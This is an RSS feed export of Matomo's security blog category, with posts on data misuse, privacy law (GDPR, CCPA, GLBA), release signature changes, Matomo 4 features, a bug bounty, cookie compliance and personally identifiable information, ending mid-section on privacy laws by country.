Security Archives - Analytics Platform - Matomo https://matomo.org/blog/category/security/ Wed, 08 May 2024 21:44:54 +0000 en-US hourly 1 https://matomo.org/wp-content/uploads/2018/11/cropped-DefaultIcon-32x32.png Security Archives - Analytics Platform - Matomo https://matomo.org/blog/category/security/ 32 32 What Is Data Misuse & How to Prevent It? (With Examples) https://matomo.org/blog/2024/05/data-misuse/ Mon, 13 May 2024 21:44:28 +0000 https://matomo.org/?p=75095 Read More

]]>

Your data is everywhere. Every time you sign up for an email list, log in to Facebook or download a free app onto your smartphone, your data is being taken.

This can scare customers and users who fear their data will be misused.

While data can be a powerful asset for your business, it’s important you manage it well, or you could be in over your head.

In this guide, we break down what data misuse is, what the different types are, some examples of major data misuse and how you can prevent it so you can grow your brand sustainably.

What is data misuse?

Data is a good thing.

It helps analysts and marketers understand their customers better so they can serve them relevant information, products and services to improve their lives.

But it can quickly become a bad thing for both the customers and business owners when it’s mishandled and misused.

What is data misuse?

Data misuse is when a business uses data outside of the agreed-upon terms. When companies collect data, they need to legally communicate how that data is being used. 

Who or what determines when data is being misused?

Several bodies:

  • User agreements
  • Data privacy laws
  • Corporate policies
  • Industry regulations

There are certain laws and regulations around how you can collect and use data. Failure to comply with these guidelines and rules can result in several consequences, including legal action.

Keep reading to discover the different types of data misuse and how to prevent it.

3 types of data misuse

There are a few different types of data misuse.

If you fail to understand them, you could face penalties, legal trouble and a poor brand reputation.

3 types of data misuse.

1. Commingling

When you collect data, you need to ensure you’re using it for the right purpose. Commingling is when an organisation collects data from a specific audience for a specific reason but then uses the data for another purpose.

One example of commingling is if a company shares sensitive customer data with another company. In many cases, sister companies will share data even if the terms of the data collection didn’t include that clause.

Another example is if someone collects data for academic purposes like research but then uses the data later on for marketing purposes to drive business growth in a for-profit company.

In either case, the company went wrong by not being clear on what the data would be used for. You must communicate with your audience exactly how the data will be used.

2. Personal benefit

The second common way data is misused in the workplace is through “personal benefit.” This is when someone with access to data abuses it for their own gain.

The most common example of personal benefit data muse is when an employee misuses internal data.

While this may sound like each instance of data misuse is caused by malicious intent, that’s not always the case. Data misuse can still exist even if an employee didn’t have any harmful intent behind their actions. 

One of the most common examples is when an employee mistakenly moves data from a company device to personal devices for easier access.

3. Ambiguity

As mentioned above, when discussing commingling, a company must only use data how they say they will use it when they collect it.

A company can misuse data when they’re unclear on how the data is used. Ambiguity is when a company fails to disclose how user data is being collected and used.

This means communicating poorly on how the data will be used can be wrong and lead to misuse.

One of the most common ways this happens is when a company doesn’t know how to use the data, so they can’t give a specific reason. However, this is still considered misuse, as companies need to disclose exactly how they will use the data they collect from their customers.

Laws on data misuse you need to follow

Data misuse can lead to poor reputations and penalties from big tech companies. For example, if you step outside social media platforms’ guidelines, you could be suspended, banned or shadowbanned.

But what’s even more important is certain types of data misuse could mean you’re breaking laws worldwide. Here are some laws on data misuse you need to follow to avoid legal trouble:

General Data Protection Regulation (GDPR)

The GDPR, or General Data Protection Regulation, is a law within the European Union (EU) that went into effect in 2018.

The GDPR was implemented to set a standard and improve data protection in Europe. It was also established to increase accountability and transparency for data breaches within businesses and organisations.

The purpose of the GDPR is to protect residents within the European Union.

The penalties for breaking GDPR laws are fines up to 20 million Euros or 4% of global revenues (whatever the higher amount is).

The GDPR doesn’t just affect companies in Europe. You can break the GDPR’s laws regardless of where your organisation is located worldwide. As long as your company collects, processes or uses the personal data of any EU resident, you’re subject to the GDPR’s rules.

If you want to track user data to grow your business, you need to ensure you’re following international data laws. Tools like Matomo—the world’s leading privacy-friendly web analytics solution—can help you achieve GDPR compliance and maintain it.

With Matomo, you can confidently enhance your website’s performance, knowing that you’re adhering to data protection laws. 

Try Matomo for Free

Get the web insights you need, without compromising data accuracy.

Start for free

No credit card required

California Consumer Privacy Act (CCPA)

The California Consumer Privacy Act (CCPA) is another important data law companies worldwide must follow.

Like GDPR, the CCPA is a data privacy law established to protect residents of a certain region — in this case, residents of California in the United States.

The CCPA was implemented in 2020, and businesses worldwide can be penalised for breaking the regulations. For example, if you’re found violating the CCPA, you could be fined $7,500 for each intentional violation.

If you have unintentional violations, you could still be fined, but at a lesser fee of $2,500.

The Gramm-Leach-Bliley Act (GLBA)

If your business is located within the United States, then you’re subject to a federal law implemented in 1999 called The Gramm-Leach-Bliley Act (GLB Act or GLBA).

The GLBA is also known as the Financial Modernization Act of 1999. Its purpose is to control the way American financial institutions handle consumer data. 

In the GLBA, there are three sections:

  1. The Financial Privacy Rule: regulates the collection and disclosure of private financial data.
  2. Safeguards Rule: Financial institutions must establish security programs to protect financial data.
  3. Pretexting Provisions: Prohibits accessing private data using false pretences.

The GLBA also requires financial institutions in the U.S. to give their customers written privacy policy communications that explain their data-sharing practices.

4 examples of data misuse in real life

If you want to see what data misuse looks like in real life, look no further.

Big tech is central to some of the biggest data misuses and scandals.

4 examples of data misuse in real life.

Here are a few examples of data misuse in real life you should take note of to avoid a similar scenario:

1. Facebook election interference

One of history’s most famous examples of data misuse is the Facebook and Cambridge Analytica scandal in 2018.

During the 2018 U.S. midterm elections, Cambridge Analytica, a political consulting firm, acquired personal data from Facebook users that was said to have been collected for academic research.

Instead, Cambridge Analytica used data from roughly 87 million Facebook users. 

This is a prime example of commingling.

The result? Cambridge Analytica was left bankrupt and dissolved, and Facebook was fined $5 billion by the Federal Trade Commission (FTC).

2. Uber “God View” tracking

Another big tech company, Uber, was caught misusing data a decade ago. 

Why?

Uber implemented a new feature for its employees in 2014 called “God View.”

The tool enabled Uber employees to track riders using their app. The problem was that they were watching them without the users’ permission. “God View” lets Uber spy on their riders to see their movements and locations.

The FTC ended up slapping them with a major lawsuit, and as part of their settlement agreement, Uber agreed to have an outside firm audit their privacy practices between 2014 and 2034.

Uber "God View."

3. Twitter targeted ads overstep

In 2019, Twitter was found guilty of allowing advertisers to access its users’ personal data to improve advertisement targeting.

Advertisers were given access to user email addresses and phone numbers without explicit permission from the users. The result was that Twitter ad buyers could use this contact information to cross-reference with Twitter’s data to serve ads to them.

Twitter stated that the data leak was an internal error. 

4. Google location tracking

In 2020, Google was found guilty of not explicitly disclosing how it’s using its users’ personal data, which is an example of ambiguity.

The result?

The French data protection authority fined Google $57 million.

8 ways to prevent data misuse in your company

Now that you know the dangers of data misuse and its associated penalties, it’s time to understand how you can prevent it in your company.

How to prevent data misuse in your company.

Here are eight ways you can prevent data misuse:

1. Track data with an ethical web analytics solution

You can’t get by in today’s business world without tracking data. The question is whether you’re tracking it safely or not.

If you want to ensure you aren’t getting into legal trouble with data misuse, then you need to use an ethical web analytics solution like Matomo.

With it, you can track and improve your website performance while remaining GDPR-compliant and respecting user privacy. Unlike other web analytics solutions that monetise your data and auction it off to advertisers, with Matomo, you own your data.

Try Matomo for Free

Get the web insights you need, without compromising data accuracy.

Start for free

No credit card required

2. Don’t share data with big tech

As the data misuse examples above show, big tech companies often violate data privacy laws.

And while most of these companies, like Google, appear to be convenient, they’re often inconvenient (and much worse), especially regarding data leaks, privacy breaches and the sale of your data to advertisers.

Have you ever heard the phrase: “You are the product?” When it comes to big tech, chances are if you’re getting it for free, you (and your data) are the products they’re selling.

The best way to stop sharing data with big tech is to stop using platforms like Google. For more ideas on different Google product alternatives, check out this list of Google alternatives.

3. Identity verification 

Data misuse typically isn’t a company-wide ploy. Often, it’s the lack of security structure and systems within your company. 

An important place to start is to ensure proper identity verification for anyone with access to your data.

4. Access management

After establishing identity verification, you should ensure you have proper access management set up. For example, you should only give specific access to specific roles in your company to prevent data misuse.

5. Activity logs and monitoring

One way to track data misuse or breaches is by setting up activity logs to ensure you can see who is accessing certain types of data and when they’re accessing it.

You should ensure you have a team dedicated to continuously monitoring these logs to catch anything quickly.

6. Behaviour alerts 

While manually monitoring data is important, it’s also good to set up automatic alerts if there is unusual activity around your data centres. You should set up behaviour alerts and notifications in case threats or compromising events occur.

7. Onboarding, training, education

One way to ensure quality data management is to keep your employees up to speed on data security. You should ensure data security is a part of your employee onboarding. Also, you should have regular training and education to keep people informed on protecting company and customer data.

8. Create data protocols and processes 

To ensure long-term data security, you should establish data protocols and processes. 

To protect your user data, set up rules and systems within your organisation that people can reference and follow continuously to prevent data misuse.

Leverage data ethically with Matomo

Data is everything in business.

But it’s not something to be taken lightly. Mishandling user data can break customer trust, lead to penalties from organisations and even create legal trouble and massive fines.

You should only use privacy-first tools to ensure you’re handling data responsibly.

Matomo is a privacy-friendly web analytics tool that collects, stores and tracks data across your website without breaking privacy laws.

With over 1 million websites using Matomo, you can track and improve website performance with:

  • Accurate data (no data sampling)
  • Privacy-friendly and compliant with privacy regulations like GDPR, CCPA and more
  • Advanced features like heatmaps, session recordings, A/B testing and more

Try Matomo free for 21-days. No credit card required.

]]> Our release signature has changed https://matomo.org/blog/2022/03/our-release-signature-has-changed/ Tue, 08 Mar 2022 21:55:38 +0000 https://matomo.org/?p=50911 Read More

]]> We have been cryptographically signing Matomo releases since 2014, so you can verify the signature of the release you downloaded. Up until Matomo 4.8.0 releases were signed with Matthieu Aubry’s personal signature. In Matomo 4.8.0 we made some improvements to our release systems including automating the release builds. As part of these improvements it makes sense to now use a Matomo signature, which means a few changes are required for verifying releases. There is no security issue around the previous key, which can still be used to verify older release builds.

There is a new signature here: builds.matomo.org/signature.asc. You can use this signature according to our updated instructions to verify releases for Matomo version 4.8.0 and newer. You will need to import this signature to verify new releases.

If you want to verify the signature of a release prior to Matomo 4.8.0 you can now find Matthieu’s signature here: builds.matomo.org/signature-pre-4.8.0.asc, and the same instructions apply. If you already imported Matthieu’s signature, you won’t need to do this again.

]]> Announcing Matomo 4: More security, privacy and better performance https://matomo.org/blog/2020/11/announcing-matomo-4/ Tue, 17 Nov 2020 21:02:27 +0000 https://matomo.org/?p=43765 Read More

]]>

The moment we’ve all been waiting for is here … Matomo Analytics 4 has launched!! We’re incredibly grateful for all community members and contributors who’ve helped with improvements, and our awesome team for all the fixes. 

We can’t wait for you to gain greater security, privacy protection, and be able to boost your website performance. Now who’s ready?

Minimise your business’ web data security risk

We’ve made Matomo even more secure to meet our users’ ever increasing security needs. Matomo 4 has certainly delivered on these expectations with a wide range of security enhancements and fixes across the platform:

  • Support for app specific API tokens. [#6559]
  • API tokens and session ids are now stored hashed in the database which means if someone can access your database they wouldn’t be able to get the actual token.
  • A more secure host validation. [#16169]
  • By default, you no longer can embed widgets through tokens with higher privileges. [#16264]
  • Plenty of other minor security fixes.

More protection of your customer’s personal data

Matomo 4 ensures you’re compliant with data privacy laws and provides you with more ways to keep your customer’s personal data private, such as:

  • The ability to automatically anonymise the referrer to avoid tracking personal data by accident. [#15426]
  • The option to enforce the disabling of cookies. [#16258]
  • Possibility in JavaScript tracker to turn cookies on and off at any time. [#13056]
  • The option to not store any IP address at all. [#16377]
  • Easily disable visits log and visitor profile feature if needed for privacy compliance [#16259]
  • New segment to separate visitors who gave consent vs visitors who didn’t give consent. [#16192]

Matomo now offers PHP 8 support to users. Want to know more? Get a detailed list of over 300 fixes and improvements in the Matomo 4 changelog.

Increased conversion rates with a focus on page performance

Our new Page Performance feature in Matomo 4 can help you increase conversion rates by showing you exactly how fast or slow your website is going, and WHY. An Akamai Online Retail Study in 2017 found that a 100-millisecond delay in website load time could underperform website conversion rates by up to 7%. 

By using this new feature you can quickly identify slow pages and fix page speed issues as soon as they arise, meaning you never miss out on those valuable new sales opportunities.

Improve your Google search rankings in 2021

According to moz.com, Google’s bringing in a new ranking factor into their algorithm named Core Web Vitals, which will place greater emphasis on load speed (favouring websites that load faster). This means the slower your page loads, the worse it will rank in Google. With Matomo’s new feature, you’ll be able to optimise your pages to rank better according to the Core Web Vitals ranking factor. 

Read more on how you can use this new feature: https://matomo.org/faq/how-to/how-do-i-see-page-performance-reports/

Need help upgrading Matomo?

Read the Updating Matomo user guide or contact the Matomo experts. 

Please note: It may take a while for you to receive a notice to update to Matomo 4.

]]> Matomo will now pay researchers 5,000 USD for a critical security vulnerability https://matomo.org/blog/2020/05/matomo-will-now-pay-researchers-5000-usd-for-a-critical-security-vulnerability/ Thu, 07 May 2020 01:18:48 +0000 https://matomo.org/?p=40035 Read More

]]>

Matomo Analytics is the leading open-source web analytics solution, designed to give you conclusive insights while respecting your user’s privacy, and keeping your data secure. We’re so proud Matomo is trusted with the analytics data of more than 1 million sites worldwide.

Although we have had an excellent security track record so far, we recognise security is an ongoing challenge and requires constant vigilance. With this announcement we’re showing our commitment to reward those who help us maintain the highest security in Matomo.

New bounty of 5,000 USD for a CRITICAL security issue responsibly disclosed to us

We’re now paying 5,000 USD or 4,700 EUR for each critical vulnerability found, and responsibly disclosed to us. (Previously this bounty was less than 1,000USD.) 

A Critical Issue in Matomo means an issue in our latest official release at: builds.matomo.org/latest.zip as installed on a typical server (and possibly using any of our official plugins by Matomo or InnoCraft from the Marketplace).

If you can gain remote code execution on the server (i.e. RCE), or if you’re able to delete data with an HTTPS request (i.e. SQL Injection), this may qualify as a Critical Issue. Please report it on Hackerone.

Matomo keeps your data secure

The Matomo team has always been committed to achieving the highest standard of security. For example, Matomo was one of the first open-source projects in the world to launch a public bug bounty in January 2011. Every year many researchers, users and customers review the Matomo source code, and overall we’ve rewarded dozens of researchers over the years for their work in keeping Matomo data safe.

How to make your Matomo server even more secure?

Check out our recommendations in How to configure Matomo for Security
 
]]> 12 ways Matomo Analytics helps you to protect your visitor’s privacy https://matomo.org/blog/2020/05/11-ways-piwik-analytics-helps-protect-visitors-privacy/ Tue, 05 May 2020 08:38:00 +0000 https://matomo.org/?p=23301 Read More

]]>

This post was originally published on January 11, 2017, and updated on May, 2020.

At Matomo we think privacy matters. From the beginning, Matomo has had a strong focus on privacy and ensuring the privacy of your visitors and analytics data. 

Here are some ways how you can ensure your users and visitors privacy by using Matomo (Piwik).

1. Owning the data gives you power to protect user privacy

Whether you host Matomo on-premises yourself, or whether you use Matomo’s cloud, YOU keep control of your data and nobody else. By knowing exactly where your data is stored and having full control over what happens to it, you have the power to protect your user’s privacy. No-one else can claim ownership. 

2. GDPR compliance

GDPR is one of the most important privacy laws to have come out in the last few years. As such, Matomo takes GDPR compliance very seriously. There’s even a 12-step checklist for you to follow to ensure your Matomo is GDPR compliant. Not only that Matomo is HIPAA, CCPA, LGPD, and PECR compliant.

3. Data anonymization

For better privacy by default, Matomo implements a range of data anonymization techniques. One of the main techniques is not recording the full IP address of your visitors. Some countries even require you to anonymize additional info considered Personally Identifiable Information (PII).

To change the IP anonymization settings go to “Administration > Privacy”. 

A settings interface in the Matomo web analytics tool

4. Configuring Matomo to not process personal data or personally identifiable information (PII)

To further protect the privacy of your visitors, you can learn how to not process any personal information or PII. 

5. Deleting old visitor logs

The is important because visitor logs contain information all the collected raw data about every visitor and every action. You can configure Matomo to automatically delete logs from the database. When you delete old logs, only the real time and visitor log reports will no longer work for this old time period, all other aggregated reports will still work.

For privacy reasons, we highly recommend that you keep the detailed Matomo logs for only 3 to 6 months and delete older log data. This has one other nice side effect: it will free significant database space, which will, in turn, slightly increase performance!

6. Supporting the Do Not Track preference

Do Not Track enables users to opt out of any tracking by websites they do not visit, including analytics services, advertising networks, and social platforms. Get more information about DoNotTrack.

To make sure Do Not Track is respected, go to “Administration => Privacy”.

7. Including an Opt-Out Feature on your website or app

By embedding the Opt-Out feature in your website, you give your visitors the possibility to opt-out of the tracking. When you go to “Administration > Privacy”, you will be able to copy and paste an HTML Iframe code to embed the opt-out feature for example into your privacy policy page or in your ‘Legal’ page. Your users can then click on a link to opt-out.

On the Matomo Marketplace there are also some plugins available to customize the Opt-Out experience. For example AjaxOptOut and CustomOptOut.

8. Disabling Live features

The Real-Time, Visitor Log and Visitor Profile features give you insights into the tracked raw data by showing you details about every visitor and every action they performed. To protect the privacy of your visitors you may decide to prevent access to such features by disabling the “Live” plugin in “Administration => Plugins”. This way only aggregated reports will be shown in your Matomo.

9. Disabling tracking cookies

Matomo uses first-party cookies to store some information about visitors between visits. In some countries, the legislation requires websites to provide a way for users to opt-out of all tracking, in particular tracking cookies. You can disable cookies by adding one line in the Matomo Javascript code.

10. Creating the tool of your dreams by developing your own plugins and getting access to the API

Matomo is an open platform that lets you extend and customise the tracking; reporting; and user interface to your needs and to protect your visitors’ privacy the way you want or need it. Learn more in the Matomo Developer Zone. You may also have a look at our Matomo Marketplace where you can find several free and premium features to extend your Matomo.

11. Transparency

By default, all information and all collected data in your Matomo server are protected and nobody can access it. However, Matomo allows you to optionally make your collected data public and you can export any Matomo report including the whole dashboard to embed it into your website. This way you can show your users exactly which information you track. When you decide to make reports public, we do our best to protect privacy and automatically hide any Personally Identifiable Information such as the Visitor Profile and we make sure to not show any Visitor IP address and the Visitor ID.

Bonus tip – A privacy policy template for you

When you use Matomo to track your visitors, we recommend you update your Privacy Policy to explain how Matomo is used and what data it gathers. Here’s a Privacy Policy template for you to copy on your site.

Continuous privacy improvements

We are always interested in improving the privacy. If you miss any feature or have an idea on how to improve the privacy, please let us know.

More information about all the Matomo features

If you want to learn more about all the features in Matomo, have a look at our User Guides and FAQ entries.

]]> Your guide to cookies, web analytics, and GDPR compliance https://matomo.org/blog/2020/02/web-analytics-cookies-gdpr/ Tue, 25 Feb 2020 21:26:57 +0000 https://matomo.org/?p=38694 Read More

]]>

Since the GDPR came into effect and turned the online world on its head, confusion around cookies/cookie consent/cookie compliance has been widespread. So we’d like to take this chance to talk more about the supposed “big bad” of the latest century. 

Online cookies seem to have a bad reputation, but are they as bad as they seem?

To start, what are cookies on the internet?

An internet cookie a.k.a. an HTTP cookie, is a small piece of data sent from websites that is stored on your computer or mobile when you visit that site.

Are all cookies bad?

No. Cookies themselves are usually harmless as they can’t infect computers with malware. 

They can also be helpful for both websites who use them and individuals visiting those websites. For example, when online shopping, cookies on ecommerce sites keep track of what you’re shopping for. If you didn’t have that tracking, your cart would be empty every time you moved away from that site.

For businesses/websites, cookies can be used for authentication (logins) and tracking website user experience. For example, tracking multiple visits to the same site in order to provide better experiences to customers visiting their website.

internet cookies tracking

The not-so-sweet types of cookies:

Cookies that contain personal data

Another example of a bad cookie is when cookies contain personal data directly in the cookie itself. For example, when websites store demographics or your name in a cookie; or when a website stores survey results in a cookie. Use of cookies in these ways is considered bad practice nowadays.

Third-party cookies

They can be used by websites to learn about your visit and activity across multiple websites. Cookies can enter harmful territory when employed for “big brother” types of tracking i.e. when they’re used to build a virtual fingerprint of individuals after their activity is tracked from website to website. For example most advertising networks create third party cookies in your browser when you view an ad, which lets these advertisers track users across these websites and let companies buy more targeted ads.

Why does Matomo use cookies?

web analytics cookies

Matomo is a privacy-friendly analytics solution that gives you 100% data ownership and GDPR compliance.

For accurate reporting of new and returning visitors. Matomo uses cookies to store some information about visitors between visits. We also use cookies to remember if someone gave consent to tracking, or opted out of tracking. 

Types of cookies Matomo uses:

  • Matomo by default uses first-party cookies, set on the domain of your site.
  • Cookies created by Matomo start with: _pk_ref, _pk_cvar, _pk_id, _pk_ses. See a list of all Matomo cookies: https://matomo.org/faq/general/faq_146/

Cookie-less tracking - disable cookies and ensure cookie compliance:

It’s possible to disable tracking cookies in Matomo by adding a line on the javascript code. When cookies are disabled, Matomo data will become slightly less accurate. Also, when cookies are disabled, there may still be a few cookies created in specific cases.

By disabling tracking cookies, you may also use Matomo without needing to display a cookie consent screen. You can also keep tracking when they reject cookie consent by keeping cookies disabled.

Cookies and the GDPR

In some countries and according to the GDPR, websites need to provide a way for users to opt-out of all tracking, in particular tracking cookies.

The GDPR regulates the use of cookies when they compromise an individual’s privacy. When cookies can identify an individual, it is considered personal data.

cookies and GDPR

Cookie compliance and the GDPR

To be GDPR compliant you must:

  • Receive user consent before using any cookies (except strictly necessary cookies). Read more on cookies that are “clearly exempt from consent”.
  • Provide accurate and specific information about the data each cookie tracks and its purpose in plain language before consent is received.
  • Document and store consent received from users.
  • Allow users to access your service even if they refuse to allow the use of certain cookies
  • Make it as easy for users to withdraw their consent as it was for them to give their consent in the first place.

Source: https://gdpr.eu/cookies/

When does GDPR require cookie consent?

The purpose of the GDPR is to give individuals control over their personal data. As such this regulation has provisions and requirements which regulate the processing of personal data to protect the privacy of individuals. 

This means in order to use cookies, you will sometimes need explicit consent from those individuals.

When does GDPR not require cookie consent?

Then there are many cookies that generally do NOT require consent (Source: https://wikis.ec.europa.eu/display/WEBGUIDE/04.+Cookies). 

These are:

  • user input cookies, for the duration of a session
  • authentication cookies, for the duration of a session
  • user-centric security cookies, used to detect authentication abuses and linked to the functionality explicitly requested by the user, for a limited persistent duration
  • multimedia content player session cookies, such as flash player cookies, for the duration of a session
  • load balancing session cookies and other technical cookies, for the duration of session
  • user interface customisation cookies, for a browser session or a few hours, when additional information in a prominent location is provided (e.g. “uses cookies” written next to the customisation feature)

Tracking cookies and consent vs legitimate interest

cookie consent and GDPR legitimate interests

User consent is not always required:

We understand that whenever you collect and process personal data, you need – almost always – to ask for their consent. However, there are instances where you have to process data under “legitimate interests”. The GDPR states that processing of personal data is lawful “if processing is necessary for the purposes of the legitimate interests”. This means if you have “legitimate interests” you can avoid asking for consent for collecting and processing personal information – but only if this processing is absolutely necessary. Learn more: https://cookieinformation.com/resources/blog/what-is-legitimate-interest-under-the-gdpr  

A lawful basis for processing personal data (proceeding with caution):

We’ve also written about having a lawful basis for processing personal data under GDPR with Matomo. The caveat here is you need to have a strong argument for legitimate interests. If you are processing personal data which may represent a risk to the final user, then getting consent is, for us, still the right lawful basis. If you are not sure, at the time of writing ICO is providing a tool in order to help you make this decision.

How is Matomo Analytics GDPR compliant?

Matomo can be configured to automatically anonymise data so you don’t process any personal data. This allows you to completely avoid GDPR. If you decide to process personal data, Matomo provides you with 12 steps to easily comply with the GDPR guidelines.

Ready to begin your journey to GDPR compliance? Check out our live demo and start your free 21-day trial of Matomo now – no credit card required.

New developments on cookies and the GDPR

In the early days of the GDPR, a spate of cookie management platforms (CMPs) popped up to help websites and people comply with GDPR rules around cookies.

These have become problematic in recent years. Europe’s highest court ruled pre-checked box for cookie boxes does not give enough consent. 

As well as that, new research suggests most cookie consent pop-ups in the EU fall short of GDPR. A new study called, ‘Dark Patterns after the GDPR’ from MIT, UCL and Aarhus University found that a vast majority of websites aren’t following GDPR rules around cookies. The study found most cookie consent pop-ups in the EU to be undermining the GDPR by finding sneaky ways to convince website visitors to click ‘accept’.

Be compliant with secure GDPR analytics

As the GDPR continues to evolve, you can rest assured that Matomo will be at the forefront of these changes. Try our online demo now and start your free 21-day trial of Matomo – no credit card required.

Disclaimer

We are not lawyers and don’t claim to be. The information provided here is to help give an introduction to issues you may encounter when dealing cookies. We encourage every business and website to take data privacy seriously and discuss these issues with your lawyer if you have any concerns. 

Additional resources:

]]> How to keep personally identifiable information safe https://matomo.org/blog/2020/01/pii-compliance-and-keeping-pii-safe/ Thu, 23 Jan 2020 20:01:23 +0000 https://matomo.org/?p=38454 Read More

]]>

The protection of personally identifiable information (PII) is important both for individuals, whose privacy may be compromised, and for businesses that may have their reputation ruined or be liable if PII is wrongly accessed, used, or shared.

Curious about what PII is? Here’s your introduction to personally identifiable information.

Due to hacking, data leaks or data thievery, PII acquired can be combined with other pieces of information to form a more complete picture of you. On an individual level, this puts you at risk of identity theft, credit card theft or other harm caused by the fraudulent use of your personal information.

On a business level, for companies who breach data privacy laws – like Cambridge Analytica’s harvesting of millions of FB profiles – the action leads to an erosion of trust. It can also impact your financial position as heavy fines can be imposed for the illegal use and processing of personally identifiable information.

So what can you do to ensure PII compliance?

On an individual level:

  1. Don’t give your data away so easily. Although long, it’s worthwhile to read through privacy policies to make sure you know what you’re getting yourself into.
  2. Don’t just click ‘agree’ when faced with consent screens, as consent screens are majorly flawed. Users mostly always opt in without reading and without being properly informed what they opt in to.
  3. Did you know you’re most likely being tracked from website to website? For example, Google can identify you across visits and websites. One of the things you can do is to disable third party cookies by default. Businesses can also use privacy friendly analytics which halt such tracking. 
  4. Use strong passwords.
  5. Be wary of public wifi – hackers can easily access your PII or sensitive data. Use a VPN (virtual private network), which lets you create a secure connection to a server of your choosing. This allows you to browse the internet in a safe manner.

A PII compliance checklist for businesses/organisations:

  1. Identify where all PII exists and is stored – review and make sure this is in a safe environment.
  2. Identify laws that apply to you (GDPR, California privacy law, HIPAA) and follow your legal obligations.
  3. Create operational safeguards – policies and procedures for handling PII at an organisation level; and building awareness to focus on the protection of PII.
  4. Encrypt databases and repositories where such info is kept.
  5. Create privacy-specific safeguards in the way your organisation collects, maintains,  uses, and disseminates data so you protect the confidentiality of the data.
  6. Minimise the use, collection, and retention of PII – only collect and keep PII if it’s necessary for you to perform your legal business function.
  7. Conduct privacy impact assessments (PIA) to find and prevent privacy risks (identify what and why it’s to be collected; how the information will be secured etc.).
  8. De-identify within the scope of your data collection and analytics tools.
  9. Anonymise data.
  10. Keep your privacy policy updated.
  11. Pseudonymisation.
  12. A more comprehensive guide for businesses can be found here: https://iapp.org/media/pdf/knowledge_center/NIST_Protecting_PII.pdf

Additional resources:

]]> Your introduction to personally identifiable information: What is PII? https://matomo.org/blog/2020/01/your-introduction-to-personally-identifiable-information-what-is-pii/ Wed, 15 Jan 2020 00:26:01 +0000 https://matomo.org/?p=38089 Read More

]]>

Learning about personally identifiable information (PII) is crucial. Identifiable information can be used for nefarious purposes like identity theft and fraud. 

So, how can you protect yourself as an innocent web browser?

Or, if you manage a website — how do you protect users and your company from falling prey to privacy breaches?

As one of the most trusted analytics solutions, our readers would benefit from being as informed as possible about data privacy issues and PII. Learn how you can keep your or others’ information safe.

What is PII?

Before we discuss PII in-depth, let’s first understand what it stands for.

“PII” is an acronym for personally identifiable information.

Personally identifiable information (PII) is defined as any information that can be used to identify a person’s identity. The term was primarily used in the US data security and privacy breach notification context, but it has been adopted globally as a catch-all term for all information that can be linked to an individual. It is important to note that each privacy law defines what it protects slightly differently, and you will need to consult the specific law to understand what information or data is protected.

The US National Institute of Standards and Technology (NIST),  defines PII as “any information that can be   used to distinguish or trace an individual’s identity, either alone or when combined with other information that is linked or linkable to a specific individual.” (NIST SP 800-63-3, quoting OMB Circular A-130).

What can be considered personally identifiable information (PII)?

The following are considered examples of PII:

  • Full name/usernames
  • Home address/mailing address
  • Email address
  • Credit card numbers
  • Date of birth
  • Phone numbers
  • Login details
  • Precise locations
  • Account numbers
  • Passwords
  • Security codes (including biometric records)
  • Personal identification numbers
  • Driver license number

Read a list of more PII examples.

What’s non-PII?

Anonymous information, information that does not relate to individuals, or information that can’t be traced back to an individual, can be considered non-PII.

What is sensitive and non-sensitive PII?

The split into sensitive and non-sensitive PII is used to assist organisations in understanding their cybersecurity obligations and designing their cybersecurity response. 

Sensitive PII comprises information which if lost, compromised or disclosed without authorisation, could result in substantial harm, embarrassment, inconvenience or unfairness to the individual.  Some common examples of sensitive PII include Social Security numbers, financial account information, driver’s license numbers and medical records. Such data requires a higher standard of protection and any breach affecting sensitive PII is more likely to be notifiable . 

Non-sensitive PII is considered “less sensitive”, from a data breach response perspective, because, on its own, it usually can’t be used to commit identity theft or fraud or cause other harm to the individual. While such information might be part of an individual’s identity and still protected by privacy laws, it poses a lower risk in case of a breach without additional data (like a name, bank account or Social Security number). This means it’s not necessarily notifiable under U.S. data breach notification requirements, however the assessment is contextual.

Use of appropriate safeguards (encryption, secure storage, appropriate access controls, etc.) can mitigate the risks.  

However, when combined with other information, even non-sensitive PII data can become more potent, emphasising the importance of protecting all PII in compliance with applicable data protection laws. Note that both sensitive and non-sensitive PII are subject to privacy laws. 

 When combined, simple details can reveal much about someone and be misused.While knowing the differences is important, organisations processing PII need a complete plan that will allow them to keep PII safe and meet cybersecurity standards applicable to their business. 

Who is affected by the exploitation of PII?

Anyone can be affected by the misuse of PII. Websites can compromise privacy by mishandling or illegally selling/sharing individual’s data. This may lead to identity theft, account fraud,account takeovers, reputational damage, psychological harm. PII can be compromised not only when it is accessed by ill-meaning third parties, but also  when employees of the organisation handling the PII access PII databases without authorisation. .

How do cybercriminals exploit stolen PII?

Cybercriminals exploit stolen PII by committing online fraud. There are many risks involved once PII has been compromised, such as:

  • Identity theft: One of the primary uses of stolen PII is identity theft. This allows cybercriminals to assume another person’s identity and commit fraud, open credit cards, take out loans, or make unauthorised purchases.
  • Targeted phishing attacks: With detailed PII, cybercriminals can craft more convincing and targeted phishing emails or messages, increasing the chances that the recipient will fall for the scam.
  • Financial loss: Direct financial losses can occur when cybercriminals access and misuse bank accounts, credit cards, or other financial resources tied to stolen PII.
  • Legal repercussions: Victims of stolen PII might inadvertently be embroiled in legal battles if their identity is used for illicit activities.

Due to these risks, individuals and organisations must prioritise data security and stay informed about best practices for safeguarding PII.

Website owner’s responsibility for data privacy (PII and analytics)

If you’re using a web analytics tool like Google Analytics or Matomo, the best practice is not collecting PII if possible. This is to respect your website visitor’s privacy and minimise the risk of data breaches. 

You must collect and handle this data securely if you work in an industry that needs people to share personal information (e.g., healthcare, security industries, public sector) and be aware of any applicable privacy laws and cybersecurity standards. 

Although over half of the world’s population will have its private data protected by modern regulations, it’s still vital to play it safe. Organisations should only request PII if it’s absolutely necessary.

How you’re held accountable remains up to the privacy laws of the country you’re doing business in. Make sure you’re fully aware of these privacy and data protection laws that relate specifically to you.  

To reduce the risk of privacy breaches, try collecting as little PII as possible, purging it as soon as possible and ensuring your IT security is updated and protected against security threats.  

With data collection tools like web analytics, data may be tracked through features like User ID, custom variables and custom dimensions. Sometimes, they’re also harder to identify when present, for example, in page URLs, page titles, or referrers URLs. So be sure to configure your web analytics tools’ settings to ensure you’re respecting users’ privacy.

If you’re using a GDPR compliant tool like Matomo, learn how you can stop processing personal data.

PII privacy laws by country

Given the rise in digital data storage and transactions, countries have established various laws to protect personal information.

PII privacy laws by country

Here’s a look at some privacy laws by country.

European Union

